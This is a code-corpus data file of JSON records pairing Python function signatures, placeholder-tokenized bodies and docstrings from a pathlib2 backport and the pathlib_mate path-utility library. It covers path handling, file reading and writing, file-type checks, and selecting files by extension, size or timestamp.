{"signature": "def relative_to(self, *other):", "body": "<EOL>if not other:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>parts = self._parts<EOL>drv = self._drv<EOL>root = self._root<EOL>if root:<EOL><INDENT>abs_parts = [drv, root] + parts[<NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>abs_parts = parts<EOL><DEDENT>to_drv, to_root, to_parts = self._parse_args(other)<EOL>if to_root:<EOL><INDENT>to_abs_parts = [to_drv, to_root] + to_parts[<NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>to_abs_parts = to_parts<EOL><DEDENT>n = len(to_abs_parts)<EOL>cf = self._flavour.casefold_parts<EOL>if (root or drv) if n == <NUM_LIT:0> else cf(abs_parts[:n]) != cf(to_abs_parts):<EOL><INDENT>formatted = self._format_parsed_parts(to_drv, to_root, to_parts)<EOL>raise ValueError(\"<STR_LIT>\"<EOL>.format(str(self), str(formatted)))<EOL><DEDENT>return self._from_parsed_parts('<STR_LIT>', root if n == <NUM_LIT:1> else '<STR_LIT>',<EOL>abs_parts[n:])<EOL>", "docstring": "Return the relative path to another path identified by the passed\n        arguments.  If the operation is not possible (because this is not\n        a subpath of the other path), raise ValueError.", "id": "f2883:c11:m29"}
{"signature": "@property<EOL><INDENT>def parts(self):<DEDENT>", "body": "<EOL>try:<EOL><INDENT>return self._pparts<EOL><DEDENT>except AttributeError:<EOL><INDENT>self._pparts = tuple(self._parts)<EOL>return self._pparts<EOL><DEDENT>", "docstring": "An object providing sequence-like access to the\n        components in the filesystem path.", "id": "f2883:c11:m30"}
{"signature": "def joinpath(self, *args):", "body": "return self._make_child(args)<EOL>", "docstring": "Combine this path with one or several arguments, and return a\n        new path representing either a subpath (if all arguments are relative\n        paths) or a totally different path (if one of the arguments is\n        anchored).", "id": "f2883:c11:m31"}
{"signature": "@property<EOL><INDENT>def parent(self):<DEDENT>", "body": "drv = self._drv<EOL>root = self._root<EOL>parts = self._parts<EOL>if len(parts) == <NUM_LIT:1> and (drv or root):<EOL><INDENT>return self<EOL><DEDENT>return self._from_parsed_parts(drv, root, parts[:-<NUM_LIT:1>])<EOL>", "docstring": "The logical parent of the path.", "id": "f2883:c11:m34"}
{"signature": "@property<EOL><INDENT>def parents(self):<DEDENT>", "body": "return _PathParents(self)<EOL>", "docstring": "A sequence of this path's logical parents.", "id": "f2883:c11:m35"}
{"signature": "def is_absolute(self):", "body": "if not self._root:<EOL><INDENT>return False<EOL><DEDENT>return not self._flavour.has_drv or bool(self._drv)<EOL>", "docstring": "True if the path is absolute (has both a root and, if applicable,\n        a drive).", "id": "f2883:c11:m36"}
{"signature": "def is_reserved(self):", "body": "return self._flavour.is_reserved(self._parts)<EOL>", "docstring": "Return True if the path contains one of the special names reserved\n        by the system, if any.", "id": "f2883:c11:m37"}
{"signature": "def match(self, path_pattern):", "body": "cf = self._flavour.casefold<EOL>path_pattern = cf(path_pattern)<EOL>drv, root, pat_parts = self._flavour.parse_parts((path_pattern,))<EOL>if not pat_parts:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if drv and drv != cf(self._drv):<EOL><INDENT>return False<EOL><DEDENT>if root and root != cf(self._root):<EOL><INDENT>return False<EOL><DEDENT>parts = self._cparts<EOL>if drv or root:<EOL><INDENT>if len(pat_parts) != len(parts):<EOL><INDENT>return False<EOL><DEDENT>pat_parts = pat_parts[<NUM_LIT:1>:]<EOL><DEDENT>elif len(pat_parts) > len(parts):<EOL><INDENT>return False<EOL><DEDENT>for part, pat in zip(reversed(parts), reversed(pat_parts)):<EOL><INDENT>if not fnmatch.fnmatchcase(part, pat):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Return True if this path matches the given pattern.", "id": "f2883:c11:m38"}
{"signature": "def _raw_open(self, flags, mode=<NUM_LIT>):", "body": "if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>return self._accessor.open(self, flags, mode)<EOL>", "docstring": "Open the file pointed by this path and return a file descriptor,\nas os.open() does.", "id": "f2883:c14:m7"}
{"signature": "@classmethod<EOL><INDENT>def cwd(cls):<DEDENT>", "body": "return cls(os.getcwd())<EOL>", "docstring": "Return a new path pointing to the current working directory\n        (as returned by os.getcwd()).", "id": "f2883:c14:m8"}
{"signature": "@classmethod<EOL><INDENT>def home(cls):<DEDENT>", "body": "return cls(cls()._flavour.gethomedir(None))<EOL>", "docstring": "Return a new path pointing to the user's home directory (as\n        returned by os.path.expanduser('~')).", "id": "f2883:c14:m9"}
{"signature": "def samefile(self, other_path):", "body": "if hasattr(os.path, \"<STR_LIT>\"):<EOL><INDENT>st = self.stat()<EOL>try:<EOL><INDENT>other_st = other_path.stat()<EOL><DEDENT>except AttributeError:<EOL><INDENT>other_st = os.stat(other_path)<EOL><DEDENT>return os.path.samestat(st, other_st)<EOL><DEDENT>else:<EOL><INDENT>filename1 = six.text_type(self)<EOL>filename2 = six.text_type(other_path)<EOL>st1 = _win32_get_unique_path_id(filename1)<EOL>st2 = _win32_get_unique_path_id(filename2)<EOL>return st1 == st2<EOL><DEDENT>", "docstring": "Return whether other_path is the same or not as this file\n        (as returned by os.path.samefile()).", "id": "f2883:c14:m10"}
{"signature": "def iterdir(self):", "body": "if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>for name in self._accessor.listdir(self):<EOL><INDENT>if name in ('<STR_LIT:.>', '<STR_LIT:..>'):<EOL><INDENT>continue<EOL><DEDENT>yield self._make_child_relpath(name)<EOL>if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT><DEDENT>", "docstring": "Iterate over the files in this directory.  Does not yield any\n        result for the special paths '.' and '..'.", "id": "f2883:c14:m11"}
{"signature": "def glob(self, pattern):", "body": "if not pattern:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(pattern))<EOL><DEDENT>pattern = self._flavour.casefold(pattern)<EOL>drv, root, pattern_parts = self._flavour.parse_parts((pattern,))<EOL>if drv or root:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>selector = _make_selector(tuple(pattern_parts))<EOL>for p in selector.select_from(self):<EOL><INDENT>yield p<EOL><DEDENT>", "docstring": "Iterate over this subtree and yield all existing files (of any\n        kind, including directories) matching the given pattern.", "id": "f2883:c14:m12"}
{"signature": "def rglob(self, pattern):", "body": "pattern = self._flavour.casefold(pattern)<EOL>drv, root, pattern_parts = self._flavour.parse_parts((pattern,))<EOL>if drv or root:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>selector = _make_selector((\"<STR_LIT>\",) + tuple(pattern_parts))<EOL>for p in selector.select_from(self):<EOL><INDENT>yield p<EOL><DEDENT>", "docstring": "Recursively yield all existing files (of any kind, including\n        directories) matching the given pattern, anywhere in this subtree.", "id": "f2883:c14:m13"}
{"signature": "def absolute(self):", "body": "<EOL>if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>if self.is_absolute():<EOL><INDENT>return self<EOL><DEDENT>obj = self._from_parts([os.getcwd()] + self._parts, init=False)<EOL>obj._init(template=self)<EOL>return obj<EOL>", "docstring": "Return an absolute version of this path.  This function works\n        even if the path doesn't point to anything.\n\n        No normalization is done, i.e. all '.' and '..' will be kept along.\n        Use resolve() to get the canonical path to a file.", "id": "f2883:c14:m14"}
{"signature": "def resolve(self, strict=False):", "body": "if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>s = self._flavour.resolve(self, strict=strict)<EOL>if s is None:<EOL><INDENT>self.stat()<EOL>s = str(self.absolute())<EOL><DEDENT>normed = self._flavour.pathmod.normpath(s)<EOL>obj = self._from_parts((normed,), init=False)<EOL>obj._init(template=self)<EOL>return obj<EOL>", "docstring": "Make the path absolute, resolving all symlinks on the way and also\nnormalizing it (for example turning slashes into backslashes under\nWindows).", "id": "f2883:c14:m15"}
{"signature": "def stat(self):", "body": "return self._accessor.stat(self)<EOL>", "docstring": "Return the result of the stat() system call on this path, like\nos.stat() does.", "id": "f2883:c14:m16"}
{"signature": "def owner(self):", "body": "import pwd<EOL>return pwd.getpwuid(self.stat().st_uid).pw_name<EOL>", "docstring": "Return the login name of the file owner.", "id": "f2883:c14:m17"}
{"signature": "def group(self):", "body": "import grp<EOL>return grp.getgrgid(self.stat().st_gid).gr_name<EOL>", "docstring": "Return the group name of the file gid.", "id": "f2883:c14:m18"}
{"signature": "def open(self, mode='<STR_LIT:r>', buffering=-<NUM_LIT:1>, encoding=None,<EOL>errors=None, newline=None):", "body": "if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>if sys.version_info >= (<NUM_LIT:3>, <NUM_LIT:3>):<EOL><INDENT>return io.open(<EOL>str(self), mode, buffering, encoding, errors, newline,<EOL>opener=self._opener)<EOL><DEDENT>else:<EOL><INDENT>return io.open(str(self), mode, buffering,<EOL>encoding, errors, newline)<EOL><DEDENT>", "docstring": "Open the file pointed by this path and return a file object, as\nthe built-in open() function does.", "id": "f2883:c14:m19"}
{"signature": "def read_bytes(self):", "body": "with self.open(mode='<STR_LIT:rb>') as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Open the file in bytes mode, read it, and close the file.", "id": "f2883:c14:m20"}
{"signature": "def read_text(self, encoding=None, errors=None):", "body": "with self.open(mode='<STR_LIT:r>', encoding=encoding, errors=errors) as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Open the file in text mode, read it, and close the file.", "id": "f2883:c14:m21"}
{"signature": "def write_bytes(self, data):", "body": "if not isinstance(data, six.binary_type):<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>' %<EOL>(six.binary_type.__name__, data.__class__.__name__))<EOL><DEDENT>with self.open(mode='<STR_LIT:wb>') as f:<EOL><INDENT>return f.write(data)<EOL><DEDENT>", "docstring": "Open the file in bytes mode, write to it, and close the file.", "id": "f2883:c14:m22"}
{"signature": "def write_text(self, data, encoding=None, errors=None):", "body": "if not isinstance(data, six.text_type):<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>' %<EOL>(six.text_type.__name__, data.__class__.__name__))<EOL><DEDENT>with self.open(mode='<STR_LIT:w>', encoding=encoding, errors=errors) as f:<EOL><INDENT>return f.write(data)<EOL><DEDENT>", "docstring": "Open the file in text mode, write to it, and close the file.", "id": "f2883:c14:m23"}
{"signature": "def touch(self, mode=<NUM_LIT>, exist_ok=True):", "body": "if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>if exist_ok:<EOL><INDENT>try:<EOL><INDENT>self._accessor.utime(self, None)<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT><DEDENT>flags = os.O_CREAT | os.O_WRONLY<EOL>if not exist_ok:<EOL><INDENT>flags |= os.O_EXCL<EOL><DEDENT>fd = self._raw_open(flags, mode)<EOL>os.close(fd)<EOL>", "docstring": "Create this file with the given access mode, if it doesn't exist.", "id": "f2883:c14:m24"}
{"signature": "def mkdir(self, mode=<NUM_LIT>, parents=False, exist_ok=False):", "body": "if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>def _try_func():<EOL><INDENT>self._accessor.mkdir(self, mode)<EOL><DEDENT>def _exc_func(exc):<EOL><INDENT>if not parents or self.parent == self:<EOL><INDENT>raise exc<EOL><DEDENT>self.parent.mkdir(parents=True, exist_ok=True)<EOL>self.mkdir(mode, parents=False, exist_ok=exist_ok)<EOL><DEDENT>try:<EOL><INDENT>_try_except_filenotfounderror(_try_func, _exc_func)<EOL><DEDENT>except OSError:<EOL><INDENT>if not exist_ok or not self.is_dir():<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Create a new directory at this given path.", "id": "f2883:c14:m25"}
{"signature": "def chmod(self, mode):", "body": "if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>self._accessor.chmod(self, mode)<EOL>", "docstring": "Change the permissions of the path, like os.chmod().", "id": "f2883:c14:m26"}
{"signature": "def lchmod(self, mode):", "body": "if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>self._accessor.lchmod(self, mode)<EOL>", "docstring": "Like chmod(), except if the path points to a symlink, the symlink's\npermissions are changed, rather than its target's.", "id": "f2883:c14:m27"}
{"signature": "def unlink(self):", "body": "if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>self._accessor.unlink(self)<EOL>", "docstring": "Remove this file or link.\nIf the path is a directory, use rmdir() instead.", "id": "f2883:c14:m28"}
{"signature": "def rmdir(self):", "body": "if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>self._accessor.rmdir(self)<EOL>", "docstring": "Remove this directory.  The directory must be empty.", "id": "f2883:c14:m29"}
{"signature": "def lstat(self):", "body": "if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>return self._accessor.lstat(self)<EOL>", "docstring": "Like stat(), except if the path points to a symlink, the symlink's\nstatus information is returned, rather than its target's.", "id": "f2883:c14:m30"}
{"signature": "def rename(self, target):", "body": "if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>self._accessor.rename(self, target)<EOL>", "docstring": "Rename this path to the given path.", "id": "f2883:c14:m31"}
{"signature": "def replace(self, target):", "body": "if sys.version_info < (<NUM_LIT:3>, <NUM_LIT:3>):<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>self._accessor.replace(self, target)<EOL>", "docstring": "Rename this path to the given path, clobbering the existing\ndestination if it exists.", "id": "f2883:c14:m32"}
{"signature": "def symlink_to(self, target, target_is_directory=False):", "body": "if self._closed:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>self._accessor.symlink(target, self, target_is_directory)<EOL>", "docstring": "Make this path a symlink pointing to the given path.\nNote the order of arguments (self, target) is the reverse of\nos.symlink's.", "id": "f2883:c14:m33"}
{"signature": "def exists(self):", "body": "try:<EOL><INDENT>self.stat()<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno not in (ENOENT, ENOTDIR):<EOL><INDENT>raise<EOL><DEDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Whether this path exists.", "id": "f2883:c14:m34"}
{"signature": "def is_dir(self):", "body": "try:<EOL><INDENT>return S_ISDIR(self.stat().st_mode)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno not in (ENOENT, ENOTDIR):<EOL><INDENT>raise<EOL><DEDENT>return False<EOL><DEDENT>", "docstring": "Whether this path is a directory.", "id": "f2883:c14:m35"}
{"signature": "def is_file(self):", "body": "try:<EOL><INDENT>return S_ISREG(self.stat().st_mode)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno not in (ENOENT, ENOTDIR):<EOL><INDENT>raise<EOL><DEDENT>return False<EOL><DEDENT>", "docstring": "Whether this path is a regular file (also True for symlinks pointing\nto regular files).", "id": "f2883:c14:m36"}
{"signature": "def is_symlink(self):", "body": "try:<EOL><INDENT>return S_ISLNK(self.lstat().st_mode)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno not in (ENOENT, ENOTDIR):<EOL><INDENT>raise<EOL><DEDENT>return False<EOL><DEDENT>", "docstring": "Whether this path is a symbolic link.", "id": "f2883:c14:m37"}
{"signature": "def is_block_device(self):", "body": "try:<EOL><INDENT>return S_ISBLK(self.stat().st_mode)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno not in (ENOENT, ENOTDIR):<EOL><INDENT>raise<EOL><DEDENT>return False<EOL><DEDENT>", "docstring": "Whether this path is a block device.", "id": "f2883:c14:m38"}
{"signature": "def is_char_device(self):", "body": "try:<EOL><INDENT>return S_ISCHR(self.stat().st_mode)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno not in (ENOENT, ENOTDIR):<EOL><INDENT>raise<EOL><DEDENT>return False<EOL><DEDENT>", "docstring": "Whether this path is a character device.", "id": "f2883:c14:m39"}
{"signature": "def is_fifo(self):", "body": "try:<EOL><INDENT>return S_ISFIFO(self.stat().st_mode)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno not in (ENOENT, ENOTDIR):<EOL><INDENT>raise<EOL><DEDENT>return False<EOL><DEDENT>", "docstring": "Whether this path is a FIFO.", "id": "f2883:c14:m40"}
{"signature": "def is_socket(self):", "body": "try:<EOL><INDENT>return S_ISSOCK(self.stat().st_mode)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno not in (ENOENT, ENOTDIR):<EOL><INDENT>raise<EOL><DEDENT>return False<EOL><DEDENT>", "docstring": "Whether this path is a socket.", "id": "f2883:c14:m41"}
{"signature": "def expanduser(self):", "body": "if (not (self._drv or self._root)<EOL>and self._parts and self._parts[<NUM_LIT:0>][:<NUM_LIT:1>] == '<STR_LIT>'):<EOL><INDENT>homedir = self._flavour.gethomedir(self._parts[<NUM_LIT:0>][<NUM_LIT:1>:])<EOL>return self._from_parts([homedir] + self._parts[<NUM_LIT:1>:])<EOL><DEDENT>return self<EOL>", "docstring": "Return a new path with expanded ~ and ~user constructs\n        (as returned by os.path.expanduser)", "id": "f2883:c14:m42"}
{"signature": "def _sort_by(key):", "body": "@staticmethod<EOL>def sort_by(p_list, reverse=False):<EOL><INDENT>return sorted(<EOL>p_list,<EOL>key=lambda p: getattr(p, key),<EOL>reverse=reverse,<EOL>)<EOL><DEDENT>return sort_by<EOL>", "docstring": "High order function for sort methods.", "id": "f2884:m1"}
{"signature": "def assert_is_file_and_exists(self):", "body": "if not self.is_file():<EOL><INDENT>msg = \"<STR_LIT>\" % self<EOL>raise EnvironmentError(msg)<EOL><DEDENT>", "docstring": "Assert it is a directory and exists in file system.", "id": "f2884:c0:m0"}
{"signature": "def assert_is_dir_and_exists(self):", "body": "if not self.is_dir():<EOL><INDENT>msg = \"<STR_LIT>\" % self<EOL>raise EnvironmentError(msg)<EOL><DEDENT>", "docstring": "Assert it is a directory and exists in file system.", "id": "f2884:c0:m1"}
{"signature": "def assert_exists(self):", "body": "if not self.exists():<EOL><INDENT>msg = \"<STR_LIT>\" % self<EOL>raise EnvironmentError(msg)<EOL><DEDENT>", "docstring": "Assert it exists.", "id": "f2884:c0:m2"}
{"signature": "def select(self, filters=all_true, recursive=True):", "body": "self.assert_is_dir_and_exists()<EOL>if recursive:<EOL><INDENT>for p in self.glob(\"<STR_LIT>\"):<EOL><INDENT>if filters(p):<EOL><INDENT>yield p<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for p in self.iterdir():<EOL><INDENT>if filters(p):<EOL><INDENT>yield p<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Select path by criterion.\n\n        :param filters: a lambda function that take a `pathlib.Path` as input,\n          boolean as a output.\n        :param recursive: include files in subfolder or not.\n\n        **\u4e2d\u6587\u6587\u6863**\n\n        \u6839\u636efilters\u4e2d\u5b9a\u4e49\u7684\u6761\u4ef6\u9009\u62e9\u8def\u5f84\u3002", "id": "f2884:c0:m3"}
{"signature": "def select_file(self, filters=all_true, recursive=True):", "body": "for p in self.select(filters, recursive):<EOL><INDENT>if p.is_file():<EOL><INDENT>yield p<EOL><DEDENT><DEDENT>", "docstring": "Select file path by criterion.\n\n        **\u4e2d\u6587\u6587\u6863**\n\n        \u6839\u636efilters\u4e2d\u5b9a\u4e49\u7684\u6761\u4ef6\u9009\u62e9\u6587\u4ef6\u3002", "id": "f2884:c0:m4"}
{"signature": "def select_dir(self, filters=all_true, recursive=True):", "body": "for p in self.select(filters, recursive):<EOL><INDENT>if p.is_dir():<EOL><INDENT>yield p<EOL><DEDENT><DEDENT>", "docstring": "Select dir path by criterion.\n\n        **\u4e2d\u6587\u6587\u6863**\n\n        \u6839\u636efilters\u4e2d\u5b9a\u4e49\u7684\u6761\u4ef6\u9009\u62e9\u6587\u4ef6\u5939\u3002", "id": "f2884:c0:m5"}
{"signature": "@property<EOL><INDENT>def n_file(self):<DEDENT>", "body": "self.assert_is_dir_and_exists()<EOL>n = <NUM_LIT:0><EOL>for _ in self.select_file(recursive=True):<EOL><INDENT>n += <NUM_LIT:1><EOL><DEDENT>return n<EOL>", "docstring": "Count how many files in this directory. Including file in sub folder.", "id": "f2884:c0:m6"}
{"signature": "@property<EOL><INDENT>def n_dir(self):<DEDENT>", "body": "self.assert_is_dir_and_exists()<EOL>n = <NUM_LIT:0><EOL>for _ in self.select_dir(recursive=True):<EOL><INDENT>n += <NUM_LIT:1><EOL><DEDENT>return n<EOL>", "docstring": "Count how many folders in this directory. Including folder in sub folder.", "id": "f2884:c0:m7"}
{"signature": "@property<EOL><INDENT>def n_subfile(self):<DEDENT>", "body": "self.assert_is_dir_and_exists()<EOL>n = <NUM_LIT:0><EOL>for _ in self.select_file(recursive=False):<EOL><INDENT>n += <NUM_LIT:1><EOL><DEDENT>return n<EOL>", "docstring": "Count how many files in this directory (doesn't include files in\nsub folders).", "id": "f2884:c0:m8"}
{"signature": "@property<EOL><INDENT>def n_subdir(self):<DEDENT>", "body": "self.assert_is_dir_and_exists()<EOL>n = <NUM_LIT:0><EOL>for _ in self.select_dir(recursive=False):<EOL><INDENT>n += <NUM_LIT:1><EOL><DEDENT>return n<EOL>", "docstring": "Count how many folders in this directory (doesn't include folder in\nsub folders).", "id": "f2884:c0:m9"}
{"signature": "def select_by_ext(self, ext, recursive=True):", "body": "ext = [ext.strip().lower() for ext in ensure_list(ext)]<EOL>def filters(p): return p.suffix.lower() in ext<EOL>return self.select_file(filters, recursive)<EOL>", "docstring": "Select file path by extension.\n\n:param ext:\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u9009\u62e9\u4e0e\u9884\u5b9a\u4e49\u7684\u82e5\u5e72\u4e2a\u6269\u5c55\u540d\u5339\u914d\u7684\u6587\u4ef6\u3002", "id": "f2884:c0:m10"}
{"signature": "def select_by_pattern_in_fname(self,<EOL>pattern,<EOL>recursive=True,<EOL>case_sensitive=False):", "body": "if case_sensitive:<EOL><INDENT>def filters(p):<EOL><INDENT>return pattern in p.fname<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pattern = pattern.lower()<EOL>def filters(p):<EOL><INDENT>return pattern in p.fname.lower()<EOL><DEDENT><DEDENT>return self.select_file(filters, recursive)<EOL>", "docstring": "Select file path by text pattern in file name.\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u9009\u62e9\u6587\u4ef6\u540d\u4e2d\u5305\u542b\u6307\u5b9a\u5b50\u5b57\u7b26\u4e32\u7684\u6587\u4ef6\u3002", "id": "f2884:c0:m11"}
{"signature": "def select_by_pattern_in_abspath(self,<EOL>pattern,<EOL>recursive=True,<EOL>case_sensitive=False):", "body": "if case_sensitive:<EOL><INDENT>def filters(p):<EOL><INDENT>return pattern in p.abspath<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pattern = pattern.lower()<EOL>def filters(p):<EOL><INDENT>return pattern in p.abspath.lower()<EOL><DEDENT><DEDENT>return self.select_file(filters, recursive)<EOL>", "docstring": "Select file path by text pattern in absolute path.\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u9009\u62e9\u7edd\u5bf9\u8def\u5f84\u4e2d\u5305\u542b\u6307\u5b9a\u5b50\u5b57\u7b26\u4e32\u7684\u6587\u4ef6\u3002", "id": "f2884:c0:m12"}
{"signature": "def select_by_size(self, min_size=<NUM_LIT:0>, max_size=<NUM_LIT:1> << <NUM_LIT>, recursive=True):", "body": "def filters(p): return min_size <= p.size <= max_size<EOL>return self.select_file(filters, recursive)<EOL>", "docstring": "Select file path by size.\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u9009\u62e9\u6240\u6709\u6587\u4ef6\u5927\u5c0f\u5728\u4e00\u5b9a\u8303\u56f4\u5185\u7684\u6587\u4ef6\u3002", "id": "f2884:c0:m13"}
{"signature": "def select_by_mtime(self, min_time=<NUM_LIT:0>, max_time=ts_2100,<EOL>recursive=True):", "body": "def filters(p): return min_time <= p.mtime <= max_time<EOL>return self.select_file(filters, recursive)<EOL>", "docstring": "Select file path by modify time.\n\n:param min_time: lower bound timestamp\n:param max_time: upper bound timestamp\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u9009\u62e9\u6240\u6709 :attr:`pathlib_mate.pathlib2.Path.mtime` \u5728\u4e00\u5b9a\u8303\u56f4\u5185\u7684\u6587\u4ef6\u3002", "id": "f2884:c0:m14"}
{"signature": "def select_by_atime(self, min_time=<NUM_LIT:0>, max_time=ts_2100, recursive=True):", "body": "def filters(p): return min_time <= p.atime <= max_time<EOL>return self.select_file(filters, recursive)<EOL>", "docstring": "Select file path by access time.\n\n:param min_time: lower bound timestamp\n:param max_time: upper bound timestamp\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u9009\u62e9\u6240\u6709 :attr:`pathlib_mate.pathlib2.Path.atime` \u5728\u4e00\u5b9a\u8303\u56f4\u5185\u7684\u6587\u4ef6\u3002", "id": "f2884:c0:m15"}
{"signature": "def select_by_ctime(self, min_time=<NUM_LIT:0>, max_time=ts_2100,<EOL>recursive=True):", "body": "def filters(p): return min_time <= p.ctime <= max_time<EOL>return self.select_file(filters, recursive)<EOL>", "docstring": "Select file path by create time.\n\n:param min_time: lower bound timestamp\n:param max_time: upper bound timestamp\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u9009\u62e9\u6240\u6709 :attr:`pathlib_mate.pathlib2.Path.ctime` \u5728\u4e00\u5b9a\u8303\u56f4\u5185\u7684\u6587\u4ef6\u3002", "id": "f2884:c0:m16"}
{"signature": "def select_image(self, recursive=True):", "body": "return self.select_by_ext(self._image_ext, recursive)<EOL>", "docstring": "Select image file.", "id": "f2884:c0:m17"}
{"signature": "def select_audio(self, recursive=True):  ", "body": "return self.select_by_ext(self._audio_ext, recursive)<EOL>", "docstring": "Select audio file.", "id": "f2884:c0:m18"}
{"signature": "def select_video(self, recursive=True):  ", "body": "return self.select_by_ext(self._video_ext, recursive)<EOL>", "docstring": "Select video file.", "id": "f2884:c0:m19"}
{"signature": "def select_word(self, recursive=True):  ", "body": "return self.select_by_ext(self._ms_word_ext, recursive)<EOL>", "docstring": "Select Microsoft Word file.", "id": "f2884:c0:m20"}
{"signature": "def select_excel(self, recursive=True):  ", "body": "return self.select_by_ext(self._ms_excel_ext, recursive)<EOL>", "docstring": "Select Microsoft Excel file.", "id": "f2884:c0:m21"}
{"signature": "def select_archive(self, recursive=True):  ", "body": "return self.select_by_ext(self._archive_ext, recursive)<EOL>", "docstring": "Select compressed archive file.", "id": "f2884:c0:m22"}
{"signature": "@property<EOL><INDENT>def dirsize(self):<DEDENT>", "body": "total = <NUM_LIT:0><EOL>for p in self.select_file(recursive=True):<EOL><INDENT>try:<EOL><INDENT>total += p.size<EOL><DEDENT>except:  <EOL><INDENT>print(\"<STR_LIT>\" % p)<EOL><DEDENT><DEDENT>return total<EOL>", "docstring": "Return total file size (include sub folder). Symlink doesn't count.", "id": "f2884:c0:m23"}
{"signature": "def ensure_str(value):", "body": "if isinstance(value, six.string_types):<EOL><INDENT>return value<EOL><DEDENT>else:<EOL><INDENT>return six.text_type(value)<EOL><DEDENT>", "docstring": "Ensure value is string.", "id": "f2885:m0"}
{"signature": "def ensure_list(path_or_path_list):", "body": "if isinstance(path_or_path_list, (tuple, list, set)):<EOL><INDENT>return [ensure_str(path) for path in path_or_path_list]<EOL><DEDENT>else:<EOL><INDENT>return [ensure_str(path_or_path_list), ]<EOL><DEDENT>", "docstring": "Pre-process input argument, whether if it is:\n\n1. abspath\n2. Path instance\n3. string\n4. list or set of any of them\n\nIt returns list of path.\n\n:return path_or_path_list: always return list of path in string\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u9884\u5904\u7406\u8f93\u5165\u53c2\u6570\u3002", "id": "f2885:m1"}
{"signature": "def repr_data_size(size_in_bytes, precision=<NUM_LIT:2>):", "body": "if size_in_bytes < <NUM_LIT>:<EOL><INDENT>return \"<STR_LIT>\" % size_in_bytes<EOL><DEDENT>index = <NUM_LIT:0><EOL>while <NUM_LIT:1>:<EOL><INDENT>index += <NUM_LIT:1><EOL>size_in_bytes, mod = divmod(size_in_bytes, <NUM_LIT>)<EOL>if size_in_bytes < <NUM_LIT>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>template = \"<STR_LIT>\" % precision<EOL>s = template.format(size_in_bytes + mod / <NUM_LIT>, MAGNITUDE_OF_DATA[index])<EOL>return s<EOL>", "docstring": "Return human readable string represent of a file size. Doesn't support\nsize greater than 1EB.\n\nFor example:\n\n- 100 bytes => 100 B\n- 100,000 bytes => 97.66 KB\n- 100,000,000 bytes => 95.37 MB\n- 100,000,000,000 bytes => 93.13 GB\n- 100,000,000,000,000 bytes => 90.95 TB\n- 100,000,000,000,000,000 bytes => 88.82 PB\n...\n\nMagnitude of data::\n\n    1000         kB    kilobyte\n    1000 ** 2    MB    megabyte\n    1000 ** 3    GB    gigabyte\n    1000 ** 4    TB    terabyte\n    1000 ** 5    PB    petabyte\n    1000 ** 6    EB    exabyte\n    1000 ** 7    ZB    zettabyte\n    1000 ** 8    YB    yottabyte", "id": "f2885:m2"}
